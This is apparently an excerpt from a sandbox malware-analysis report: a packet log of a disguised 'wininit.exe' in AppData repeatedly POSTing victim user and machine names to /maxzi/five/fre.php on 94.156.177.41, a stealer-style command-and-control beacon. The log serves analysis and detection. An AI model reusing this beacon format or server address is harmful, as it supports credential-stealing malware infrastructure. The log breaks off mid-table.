Nov 20, 2024 10:57:56.796859026 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:56 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	58516	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:56.950526953 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:56.955480099 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:57.812340021 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:57 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	58518	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:57.979212999 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:57.984069109 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:58.732697964 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:58 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	58524	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:58.884505033 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:58.889595985 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:59.631649971 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:59 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	58530	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:59.782968998 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:59.787877083 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:00.539496899 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:00 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	58536	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:00.686570883 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:00.691488981 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:01.430891037 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:01 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	58543	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:01.576360941 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:01.582640886 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:02.329118013 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:02 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	58553	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:02.613675117 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:02.624665022 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:03.353976011 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:03 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	58559	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:03.511341095 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:03.519337893 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:04.399334908 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:04 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	58565	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:04.539978981 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:04.545049906 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:05.306345940 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:05 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	58572	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:05.449069023 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:05.453999043 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:06.207166910 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:06 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	58582	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:06.360265970 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:06.367844105 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:07.123575926 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:07 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	58588	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:07.278301001 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:07.287005901 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:08.022133112 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:07 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	58594	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:08.170245886 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:08.176054001 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:08.911760092 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:08 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	58600	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:09.059215069 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:09.065860033 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:09.796715021 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:09 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	58606	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:09.954740047 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:09.959629059 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:10.692233086 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:10 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	58613	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:10.838181019 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:10.847502947 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:11.593069077 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:11 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	58623	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:11.815056086 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:11.824398994 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:12.566646099 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:12 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	58629	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:12.714579105 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:12.724589109 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:13.483200073 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:13 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	58635	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:13.653477907 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:13.658489943 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:14.396718025 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:14 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	58641	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:14.541049004 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:14.545996904 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:15.281114101 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:15 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	58650	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:15.455130100 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:15.460582972 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:16.229127884 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:16 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	58657	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
